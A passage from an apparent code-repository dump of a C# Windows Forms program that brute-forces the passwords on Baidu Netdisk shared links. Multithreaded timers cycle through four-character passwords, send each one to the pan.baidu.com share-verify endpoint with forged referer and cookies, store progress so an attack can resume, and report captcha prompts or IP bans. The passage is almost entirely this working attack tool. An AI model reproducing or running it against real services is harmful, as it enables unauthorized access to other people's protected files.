0, 0, 0, 0));\r\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\r\n\r\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\r\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\r\n\r\n            return HttpPost(url, data);\r\n        }\r\n        #region 网络请求\r\n        CookieContainer cookie = new CookieContainer();\r\n        #region Get请求\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        private string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n        #endregion\r\n        #region Post请求\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        private string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                return ex.Message;\r\n            }\r\n        }\r\n        #endregion\r\n        #endregion\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/HttpThread.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.IO;\r\nusing System.Timers;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpThread\r\n    {\r\n        Main myMain;//主窗体\r\n        int StartValue = 0;//基值\r\n        int NumberValue = 0;//剩余次数\r\n        Timer timer;//线程\r\n        string ThreadID;//线程ID\r\n\r\n        /// <summary>\r\n        /// http请求线程类\r\n        /// </summary>\r\n        /// <param name=\"main\">主窗体</param>\r\n        /// <param name=\"name\">线程名称</param>\r\n        /// <param name=\"start\">开始值</param>\r\n        /// <param name=\"number\">结束值</param>\r\n        /// <param name=\"interval\">线程速度</param>\r\n        public HttpThread(Main main, string name, int start, int number, int interval)\r\n        {\r\n            myMain = main;\r\n            StartValue = start;\r\n            NumberValue = number;\r\n            ThreadID = StaticClass.file + \"/\" + name;\r\n            timer = new Timer(interval);\r\n        }\r\n        /// <summary>\r\n        /// 启动线程\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public HttpThread Start()\r\n        {\r\n            #region 载入历史参数\r\n            try\r\n            {\r\n                if (File.Exists(ThreadID + \".ini\"))\r\n                {\r\n                    string _start = File.ReadAllText(ThreadID + \".ini\");\r\n                    if (_start != \"\") StartValue = Convert.ToInt32(_start);\r\n                }\r\n            }\r\n            catch { }\r\n            #endregion\r\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\r\n            timer.Start();\r\n            return this;\r\n        }\r\n        private void _Timer(object sender, ElapsedEventArgs e)\r\n        {\r\n            Timer timer = sender as Timer;\r\n            if (NumberValue < StartValue || StaticClass.status)\r\n            {\r\n                #region 保存历史参数\r\n                try\r\n                {\r\n                    File.Delete(ThreadID + \".ini\");\r\n                    File.AppendAllText(ThreadID + \".ini\", StartValue.ToString());\r\n                }\r\n                catch { }\r\n                #endregion\r\n                timer.Stop();\r\n            }\r\n            else\r\n            {\r\n                string password = Hash.HashTo4Str(StartValue);\r\n                HttpTest httptest = new HttpTest(StaticClass.url);\r\n                myMain.ModifyStr(httptest.Post(password), password);\r\n                StartValue = StartValue + 1;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Main\r\n    {\r\n        /// <summary>\r\n        /// 必需的设计器变量。\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// 清理所有正在使用的资源。\r\n        /// </summary>\r\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows 窗体设计器生成的代码\r\n\r\n        /// <summary>\r\n        /// 设计器支持所需的方法 - 不要修改\r\n        /// 使用代码编辑器修改此方法的内容。\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\r\n            this.txt_url = new System.Windows.Forms.Label();\r\n            this.text_url = new System.Windows.Forms.TextBox();\r\n            this.gb_1 = new System.Windows.Forms.GroupBox();\r\n            this.text_zxsd = new System.Windows.Forms.TextBox();\r\n            this.text_xczs = new System.Windows.Forms.TextBox();\r\n            this.text_jsd = new System.Windows.Forms.TextBox();\r\n            this.text_ksd = new System.Windows.Forms.TextBox();\r\n            this.txt_zxsd = new System.Windows.Forms.Label();\r\n            this.txt_xczs = new System.Windows.Forms.Label();\r\n            this.txt_jsd = new System.Windows.Forms.Label();\r\n            this.txt_ksd = new System.Windows.Forms.Label();\r\n            this.txt_ts = new System.Windows.Forms.Label();\r\n            this.btn_start = new System.Windows.Forms.Button();\r\n            this.fBD = new System.Windows.Forms.FolderBrowserDialog();\r\n            this.btn_status = new System.Windows.Forms.Button();\r\n            this.gb_1.SuspendLayout();\r\n            this.SuspendLayout();\r\n            // \r\n            // txt_url\r\n            // \r\n            this.txt_url.AutoSize = true;\r\n            this.txt_url.Location = new System.Drawing.Point(12, 15);\r\n            this.txt_url.Name = \"txt_url\";\r\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_url.TabIndex = 0;\r\n            this.txt_url.Text = \"目标地址：\";\r\n            // \r\n            // text_url\r\n            // \r\n            this.text_url.Location = new System.Drawing.Point(83, 11);\r\n            this.text_url.Name = \"text_url\";\r\n            this.text_url.Size = new System.Drawing.Size(389, 21);\r\n            this.text_url.TabIndex = 1;\r\n            // \r\n            // gb_1\r\n            // \r\n            this.gb_1.Controls.Add(this.text_zxsd);\r\n            this.gb_1.Controls.Add(this.text_xczs);\r\n            this.gb_1.Controls.Add(this.text_jsd);\r\n            this.gb_1.Controls.Add(this.text_ksd);\r\n            this.gb_1.Controls.Add(this.txt_zxsd);\r\n            this.gb_1.Controls.Add(this.txt_xczs);\r\n            this.gb_1.Controls.Add(this.txt_jsd);\r\n            this.gb_1.Controls.Add(this.txt_ksd);\r\n            this.gb_1.Location = new System.Drawing.Point(12, 38);\r\n            this.gb_1.Name = \"gb_1\";\r\n            this.gb_1.Size = new System.Drawing.Size(460, 73);\r\n            this.gb_1.TabIndex = 2;\r\n            this.gb_1.TabStop = false;\r\n            this.gb_1.Text = \"相关配置\";\r\n            // \r\n            // text_zxsd\r\n            // \r\n            this.text_zxsd.Location = new System.Drawing.Point(321, 17);\r\n            this.text_zxsd.MaxLength = 4;\r\n            this.text_zxsd.Name = \"text_zxsd\";\r\n            this.text_zxsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_zxsd.TabIndex = 5;\r\n            this.text_zxsd.Text = \"200\";\r\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_xczs\r\n            // \r\n            this.text_xczs.Location = new System.Drawing.Point(93, 17);\r\n            this.text_xczs.MaxLength = 5;\r\n            this.text_xczs.Name = \"text_xczs\";\r\n            this.text_xczs.Size = new System.Drawing.Size(131, 21);\r\n            this.text_xczs.TabIndex = 4;\r\n            this.text_xczs.Text = \"100\";\r\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_jsd\r\n            // \r\n            this.text_jsd.Location = new System.Drawing.Point(321, 43);\r\n            this.text_jsd.MaxLength = 4;\r\n            this.text_jsd.Name = \"text_jsd\";\r\n            this.text_jsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_jsd.TabIndex = 7;\r\n            this.text_jsd.Text = \"zzzz\";\r\n            // \r\n            // text_ksd\r\n            // \r\n            this.text_ksd.Location = new System.Drawing.Point(93, 43);\r\n            this.text_ksd.MaxLength = 4;\r\n            this.text_ksd.Name = \"text_ksd\";\r\n            this.text_ksd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_ksd.TabIndex = 6;\r\n            this.text_ksd.Text = \"0000\";\r\n            // \r\n            // txt_zxsd\r\n            // \r\n            this.txt_zxsd.AutoSize = true;\r\n            this.txt_zxsd.Location = new System.Drawing.Point(232, 20);\r\n            this.txt_zxsd.Name = \"txt_zxsd\";\r\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\r\n            this.txt_zxsd.TabIndex = 1;\r\n            this.txt_zxsd.Text = \"线程执行速度：\";\r\n            // \r\n            // txt_xczs\r\n            // \r\n            this.txt_xczs.AutoSize = true;\r\n            this.txt_xczs.Location = new System.Drawing.Point(10, 20);\r\n            this.txt_xczs.Name = \"txt_xczs\";\r\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_xczs.TabIndex = 0;\r\n            this.txt_xczs.Text = \"线程总数：\";\r\n            // \r\n            // txt_jsd\r\n            // \r\n            this.txt_jsd.AutoSize = true;\r\n            this.txt_jsd.Location = new System.Drawing.Point(232, 46);\r\n            this.txt_jsd.Name = \"txt_jsd\";\r\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_jsd.TabIndex = 3;\r\n            this.txt_jsd.Text = \"密码结束点：\";\r\n            // \r\n            // txt_ksd\r\n            // \r\n            this.txt_ksd.AutoSize = true;\r\n            this.txt_ksd.Location = new System.Drawing.Point(10, 46);\r\n            this.txt_ksd.Name = \"txt_ksd\";\r\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_ksd.TabIndex = 2;\r\n            this.txt_ksd.Text = \"密码开始点：\";\r\n            // \r\n            // txt_ts\r\n            // \r\n            this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \r\n            | System.Windows.Forms.AnchorStyles.Left) \r\n            | System.Windows.Forms.AnchorStyles.Right)));\r\n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\r\n            this.txt_ts.Location = new System.Drawing.Point(12, 163);\r\n            this.txt_ts.Name = \"txt_ts\";\r\n            this.txt_ts.Size = new System.Drawing.Size(460, 69);\r\n            this.txt_ts.TabIndex = 5;\r\n            this.txt_ts.Text = \"程序：百度网盘分享文件密码分析器 V 1.8.0.4\\r\\n\\r\\n作者：zgcwkj 20180412 完美更新 (请您著明本程序的出处，谢谢)\\r\\n\\r\\n说明：本程序完全\" +\r\n    \"免费，来自 52pojie 的 MXWXZ 提供整体的框架\\r\\n\\r\\n开源地址：https://github.com/zgcwkj/TestBaiduPasswor\" +\r\n    \"d\";\r\n            this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);\r\n            // \r\n            // btn_start\r\n            // \r\n            this.btn_start.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_start.Location = new System.Drawing.Point(12, 114);\r\n            this.btn_start.Name = \"btn_start\";\r\n            this.btn_start.Size = new System.Drawing.Size(290, 44);\r\n            this.btn_start.TabIndex = 4;\r\n            this.btn_start.Text = \"打开/生成 解决方案\";\r\n            this.btn_start.UseVisualStyleBackColor = true;\r\n            this.btn_start.Click += new System.EventHandler(this.btn_start_Click);\r\n            // \r\n            // btn_status\r\n            // \r\n            this.btn_status.Enabled = false;\r\n            this.btn_status.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_status.Location = new System.Drawing.Point(308, 114);\r\n            this.btn_status.Name = \"btn_status\";\r\n            this.btn_status.Size = new System.Drawing.Size(164, 44);\r\n            this.btn_status.TabIndex = 6;\r\n            this.btn_status.Text = \"启动\";\r\n            this.btn_status.UseVisualStyleBackColor = true;\r\n            this.btn_status.Click += new System.EventHandler(this.btn_status_Click);\r\n            // \r\n            // Main\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(484, 241);\r\n            this.Controls.Add(this.btn_status);\r\n            this.Controls.Add(this.txt_ts);\r\n            this.Controls.Add(this.gb_1);\r\n            this.Controls.Add(this.text_url);\r\n            this.Controls.Add(this.txt_url);\r\n            this.Controls.Add(this.btn_start);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(500, 300);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(500, 280);\r\n            this.Name = \"Main\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"百度网盘分享文件密码分析器\";\r\n            this.gb_1.ResumeLayout(false);\r\n            this.gb_1.PerformLayout();\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n        private System.Windows.Forms.Label txt_url;\r\n        private System.Windows.Forms.TextBox text_url;\r\n        private System.Windows.Forms.GroupBox gb_1;\r\n        private System.Windows.Forms.Label txt_ksd;\r\n        private System.Windows.Forms.Label txt_jsd;\r\n        private System.Windows.Forms.TextBox text_jsd;\r\n        private System.Windows.Forms.TextBox text_ksd;\r\n        private System.Windows.Forms.TextBox text_zxsd;\r\n        private System.Windows.Forms.TextBox text_xczs;\r\n        private System.Windows.Forms.Label txt_zxsd;\r\n        private System.Windows.Forms.Label txt_xczs;\r\n        private System.Windows.Forms.Label txt_ts;\r\n        private System.Windows.Forms.Button btn_start;\r\n        private System.Windows.Forms.FolderBrowserDialog fBD;\r\n        private System.Windows.Forms.Button btn_status;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Main.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Timers;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Main : Form\r\n    {\r\n        public Main()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n        private void btn_Click(object sender, EventArgs e)//启动按钮\r\n        {\r\n            //if (text_url.Text == \"\") { MessageBox.Show(\"啥也没输入呢！\"); return; }//防止空文本也执行\r\n\r\n            //int start = Hash.Str2Hash(text_ksd.Text);\r\n            //int end = Hash.Str2Hash(text_jsd.Text);\r\n            //int total = end - start + 1;//尝试的总数\r\n            //int section = total / Convert.ToInt32(text_xczs.Text);//线程的次数\r\n\r\n            ////StaticClass.Folder = DateTime.Now.ToString(\"yyyyMMddHHmmss\");//用时间达到随机名称功能\r\n            ////if (!File.Exists(StaticClass.Folder + \".ini\")) File.AppendAllText(StaticClass.Folder + \".ini\", \"时间：\" + StaticClass.Folder + \"，目标连接：\" + text_url.Text + \"\\r\\n\");\r\n\r\n            //gb_1.Text = \"一共要尝试\" + total + \"次密码\";\r\n            //enabled(false);\r\n            //StaticClass.status = false;\r\n            //StaticClass.url = text_url.Text.Trim();\r\n\r\n            //for (int i = 1; i <= Convert.ToInt32(text_xczs.Text); i++)\r\n            //{\r\n            //    new GoFind(this, start + section * (i - 1), start + section * i, Convert.ToInt32(text_zxsd.Text));\r\n            //}\r\n            //text_ksd.Text = text_jsd.Text;\r\n        }\r\n        /// <summary>\r\n        /// 解决方案\r\n        /// </summary>\r\n        private void btn_start_Click(object sender, EventArgs e)\r\n        {\r\n            if (fBD.ShowDialog() == DialogResult.OK)\r\n            {\r\n                //MessageBox.Show(fBD.SelectedPath);\r\n                #region 生成配置文件\r\n                StaticClass.file = fBD.SelectedPath;\r\n                string Configuration;\r\n                try\r\n                {\r\n                    Configuration = File.ReadAllText(StaticClass.file + \"/Configuration.ini\");\r\n                    string[] str = Configuration.Split('∆');\r\n                    text_url.Text = str[0];\r\n                    text_xczs.Text = str[1];\r\n                    text_zxsd.Text = str[2];\r\n                }\r\n                catch\r\n                {\r\n                    Configuration = text_url.Text + \"∆\" + text_xczs.Text + \"∆\" + text_zxsd.Text;\r\n                    File.Delete(StaticClass.file + \"/Configuration.ini\");\r\n                    File.AppendAllText(StaticClass.file + \"/Configuration.ini\", Configuration);\r\n                }\r\n                StaticClass.url = text_url.Text;\r\n                StaticClass.status = false;\r\n                #endregion\r\n                btn_status.Enabled = true;\r\n            }\r\n        }\r\n        /// <summary>\r\n        /// 启动或停止\r\n        /// </summary>\r\n        private void btn_status_Click(object sender, EventArgs e)\r\n        {\r\n            #region 防止空文本也执行\r\n            if (text_url.Text == \"\") { MessageBox.Show(\"连接呢？\"); return; }\r\n            if (text_xczs.Text == \"\") { MessageBox.Show(\"线程总数错误\"); return; }\r\n            if (text_zxsd.Text == \"\") { MessageBox.Show(\"线程执行速度错误\"); return; }\r\n            if (text_ksd.Text.Length != 4) { MessageBox.Show(\"密码开始点错误\"); return; }\r\n            if (text_jsd.Text.Length != 4) { MessageBox.Show(\"密码结束点错误\"); return; }\r\n            #endregion\r\n            if (btn_status.Text == \"停止\")\r\n            {\r\n                btn_status.Text = \"启动\";\r\n                btn_status.Enabled = false;\r\n                StaticClass.status = true;\r\n            }\r\n            else\r\n            {\r\n                btn_status.Text = \"停止\";\r\n                #region 基本的线程\r\n                int xczs = Convert.ToInt32(text_xczs.Text);//线程总数\r\n                int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度\r\n                int start = Hash.StrTo4Hash(text_ksd.Text);//起始值\r\n                int end = Hash.StrTo4Hash(text_jsd.Text);//结束值\r\n                int total = end - start + 1;//尝试的总数\r\n                int section = total / xczs;//线程的次数\r\n                #endregion\r\n                #region 创建线程\r\n                for (int i = 1; i <= xczs; i++)\r\n                {\r\n                    int _start = start + section * (i - 1);//一条线程的开始值\r\n                    int _end = start + section * i;//一条线程的结束值\r\n\r\n                    new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();\r\n                }\r\n                #endregion\r\n            }\r\n        }\r\n        /// <summary>\r\n        /// 链接跳转\r\n        /// </summary>\r\n        private void txt_ts_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword\"); } catch { }\r\n            try { System.Diagnostics.Process.Start(\"http://blog.zgcwkj.top\"); } catch { }\r\n        }\r\n        #region 委托进行显示数据\r\n        delegate void Modifystr(string str1, string str2);\r\n        public void ModifyStr(string str1, string str2)\r\n        {\r\n            if (InvokeRequired)\r\n            {\r\n                Modifystr stcb = new Modifystr(ModifyStr);\r\n                Invoke(stcb, new object[] { str1, str2 });\r\n            }\r\n            else\r\n            {\r\n                txt_ts.Text = str1 + \"》正在尝试：\" + str2;//显示点啥\r\n                File.AppendAllText(StaticClass.file + \"/logs.ini\", txt_ts.Text + \"\\r\\n\");//输出日志\r\n                if (str1.Contains(\"\\\"errno\\\":0\"))//密码正常\r\n                {\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"密码是：\" + str2);\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-9\"))//密码错误\r\n                {\r\n\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\r\n                {\r\n\r\n                }\r\n                else if (str1.Contains(\"404\"))//拒绝访问\r\n                {\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\r\n                }\r\n                else { }//未知错误\r\n            }\r\n        }\r\n        #endregion\r\n        /// <summary>\r\n        /// 限制输入\r\n        /// </summary>\r\n        private void _KeyPress(object sender, KeyPressEventArgs e)\r\n        {\r\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Main.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <metadata name=\"fBD.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\r\n    <value>17, 17</value>\r\n  </metadata>\r\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\r\n    <value>33</value>\r\n  </metadata>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        